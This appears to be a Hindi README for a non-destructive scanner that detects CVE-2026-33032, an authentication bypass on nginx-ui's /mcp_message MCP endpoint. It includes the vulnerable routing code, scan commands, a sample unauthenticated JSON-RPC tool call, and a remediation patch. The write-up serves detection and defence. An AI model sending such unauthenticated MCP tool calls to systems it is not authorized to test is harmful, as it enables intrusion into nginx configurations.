
# Nginx-UI MCP एंडपॉइंट प्रमाणीकरण बाईपास (CVE-2026-33032) के लिए गैर-विनाशकारी भेद्यता स्कैनर
Nginx-UI MCP एंडपॉइंट प्रमाणीकरण बाईपास के लिए गैर-विनाशकारी भेद्यता स्कैनर
CVE-2026-33032 nginx-ui के Model Context Protocol (MCP) एकीकरण में एक प्रमाणीकरण बाईपास भेद्यता है। /mcp_message एंडपॉइंट में प्रमाणीकरण मिडलवेयर का अभाव है जबकि यह सभी MCP टूल्स तक पहुंच प्रदान करता है, जिससे दूरस्थ हमलावर निम्न कार्य कर सकते हैं:
प्रमाणीकरण असममितता: /mcp एंडपॉइंट को प्रमाणीकरण की आवश्यकता होती है, लेकिन /mcp_message को नहीं:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // AuthRequired() गायब है
फेल-ओपन IP व्हाइटलिस्ट: डिफ़ॉल्ट IP व्हाइटलिस्ट खाली है, जिसे मिडलवेयर "सभी को अनुमति दें" के रूप में मानता है
दोनों एंडपॉइंट एक ही हैंडलर साझा करते हैं: दोनों एक ही mcp.ServeHTTP() पर रूट होते हैं जो सभी MCP टूल इनवोकेशन को प्रोसेस करता है
✅ गैर-विनाशकारी परीक्षण - केवल रीड-ओनली MCP टूल्स का उपयोग करता है
✅ व्यापक फ़िंगरप्रिंटिंग - nginx-ui इंस्टॉलेशन की पहचान करता है
✅ सुरक्षित प्रूफ-ऑफ-कॉन्सेप्ट - कोई कॉन्फ़िगरेशन परिवर्तन नहीं किया जाता
✅ बैच स्कैनिंग - फ़ाइल से कई लक्ष्यों को प्रोसेस करता है
✅ विस्तृत रिपोर्टिंग - एकीकरण के लिए JSON आउटपुट
# स्कैनर को क्लोन या डाउनलोड करें
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# निर्भरताएं स्थापित करें (यदि आवश्यक हो)
pip3 install requests
# एकल लक्ष्य स्कैन करें
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# वर्बोज़ आउटपुट के साथ स्कैन करें
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# कस्टम टाइमआउट
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# फ़ाइल से कई लक्ष्य स्कैन करें
python3 cve-2026-33032-scanner.py -f targets.txt
# वर्बोज़ आउटपुट और JSON रिपोर्ट के साथ
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
#Burp पिंगबैक
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt - प्रति पंक्ति एक URL
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
स्कैनर एक बहु-चरणीय पहचान प्रक्रिया करता है:
इंस्टॉलेशन की पहचान के लिए सामान्य nginx-ui एंडपॉइंट की जांच करता है:
/api/info - संस्करण जानकारी/login - लॉगिन पेज/api/auth/login - प्रमाणीकरण एंडपॉइंट/mcp और /mcp_message - MCP एंडपॉइंटयह सत्यापित करने के लिए /mcp एंडपॉइंट का परीक्षण करता है कि यह ठीक से प्रमाणीकरण की आवश्यकता रखता है (बेसलाइन)
बिना प्रमाणीकरण के /mcp_message के माध्यम से गैर-विनाशकारी MCP टूल कॉल का प्रयास करता है:
यदि कोई भी टूल बिना प्रमाणीकरण के सफल होता है, तो भेद्यता की पुष्टि हो जाती है।
स्कैनर केवल रीड-ओनली MCP टूल्स को इनवोक करता है:
| टूल | विवरण | प्रभाव |
|---|---|---|
nginx_status | nginx सेवा स्थिति पढ़ें | कोई परिवर्तन नहीं |
nginx_config_list | कॉन्फ़िगरेशन फ़ाइलें सूचीबद्ध करें | कोई परिवर्तन नहीं |
nginx_config_base_path | कॉन्फ़िग निर्देशिका पथ प्राप्त करें | कोई परिवर्तन नहीं |
स्पष्ट रूप से टाले गए टूल्स:
nginx_config_add - फ़ाइलें बनाएगाnginx_config_modify - कॉन्फ़िग बदलेगाrestart_nginx / reload_nginx - सेवा व्यवधानnginx_config_enable - सक्रिय कॉन्फ़िग बदलेगा[+] nginx-ui पाया गया: '/login' में 'nginx-ui' मिला
[+] /mcp एंडपॉइंट ठीक से सुरक्षित है
[*] /mcp_message एंडपॉइंट का परीक्षण (CVE-2026-33032)...
[*] टूल आज़मा रहा है: nginx_status - nginx स्थिति पढ़ें (सबसे सुरक्षित)
स्थिति: 200
======================================================================
[!] CVE-2026-33032 के लिए भेद्य
======================================================================
प्रमाण: बिना प्रमाणीकरण के nginx_status सफलतापूर्वक निष्पादित किया गया
[+] nginx-ui पाया गया: संस्करण एंडपॉइंट सुलभ है
[+] /mcp एंडपॉइंट ठीक से सुरक्षित है
[*] /mcp_message एंडपॉइंट का परीक्षण (CVE-2026-33032)...
[*] टूल आज़मा रहा है: nginx_status - nginx स्थिति पढ़ें (सबसे सुरक्षित)
स्थिति: 401
प्रमाणीकरण आवश्यक (सुरक्षित) ✓
[+] भेद्य नहीं - एंडपॉइंट को प्रमाणीकरण की आवश्यकता है
यदि भेद्यता की पुष्टि होती है:
तत्काल समाधान: /mcp_message में प्रमाणीकरण मिडलवेयर जोड़ें:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
गहराई में सुरक्षा:
अपग्रेड: उपलब्ध होने पर पैच किए गए nginx-ui संस्करण में अपडेट करें
यह टूल निम्न के लिए डिज़ाइन किया गया है:
इस टूल का उपयोग उन सिस्टम पर न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।
इस भेद्यता की रिपोर्ट करते समय:
गंभीरता: क्रिटिकल (CVSS 9.8+)
प्रमाण: स्कैनर आउटपुट शामिल करें जो सफल अनप्रमाणित MCP टूल इनवोकेशन दिखाता है
प्रभाव श्रृंखला:
सुरक्षित PoC: केवल रीड-ओनली टूल्स का उपयोग करें (nginx_status, nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx चल रहा है (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "authentication required"
}
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
एंटनी एस्थक ट्विन्सन @ साइबर तामारिन
सुरक्षा शोधकर्ता | बग बाउंटी हंटर
वेब एप्लिकेशन सुरक्षा और भेद्यता अनुसंधान में विशेषज्ञता
अस्वीकरण: यह स्कैनर केवल गैर-विनाशकारी परीक्षण करता है। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।